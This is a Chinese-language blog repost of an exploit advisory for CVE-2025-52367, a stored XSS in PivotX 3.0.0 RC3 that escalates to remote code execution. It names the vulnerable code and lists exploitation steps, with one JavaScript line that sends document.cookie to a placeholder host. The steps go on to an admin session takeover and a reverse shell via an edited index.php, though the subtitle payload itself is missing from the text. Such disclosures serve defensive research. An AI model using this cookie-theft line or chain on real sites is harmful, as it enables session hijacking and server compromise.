PivotX 3.0.0 RC3远程代码执行漏洞利用分析

本文详细分析了PivotX 3.0.0 RC3版本中存在的存储型XSS漏洞(CVE-2025-52367),该漏洞通过页面创建的title和subtitle字段未经过滤直接序列化存储,最终可导致远程代码执行。

https://sploitus.com/exploit?id=EDB-ID:52361

漏洞标题:PivotX v3.0.0 RC3 - 存储型XSS到远程代码执行(RCE)

日期:2025年7月

漏洞作者:HayToN

厂商主页:https://github.com/pivotx

软件链接:https://github.com/pivotx/PivotX

版本:3.0.0 RC3

测试环境:Debian 11, PHP 7.4

CVE:CVE-2025-52367

漏洞类型:

页面创建的"title"和"subtitle"字段中存在存储型跨站脚本(XSS)漏洞。输入内容未经清理,直接通过PHP serialize()函数存储到磁盘。

根本原因:

在’modules/pages_flat.php’中,函数’savePage($page)‘通过’saveSerialize()‘存储页面数据时未进行任何清理。存储的值随后在管理面板中渲染时未进行转义。

只有’body’和’introduction’字段会经过TinyMCE处理(会对HTML进行编码)。’title’和’subtitle’字段会以原始HTML形式渲染。

注意:如果您已经是管理员,请跳过步骤1-7

利用步骤:

  1. 以认证用户身份登录(普通用户,无需管理员权限)

  2. 通过仪表板创建新页面,地址为:http://IP/PivotX/pivotx/index.php?page=page

  3. 本地创建一个包含cookie窃取代码的JavaScript文件。 例如:lol.js 包含内容: document.location = ‘http://LOCAL_IP/bruh?c=’ + document.cookie;

  4. 在"Subtitle"字段中输入以下payload(请确保更改文件名为您自己的):

  1. 发布页面

  2. 当管理员在博客中查看已发布的页面时,XSS将在管理员上下文中执行

  3. 利用此XSS发送payload窃取管理员cookie,然后将cookie插入到您的站点

  4. 以管理员身份导航到http://IP/PivotX/pivotx/index.php?page=homeexplore,在此可以编辑index.php文件

  5. 将index.php文件编辑为您想要在目标上获得RCE的任何php文件,可以使用反向shell或其他方法

  6. 访问http://IP/PivotX/index.php,您应该会获得一个反向shell :)

完整研究 - https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计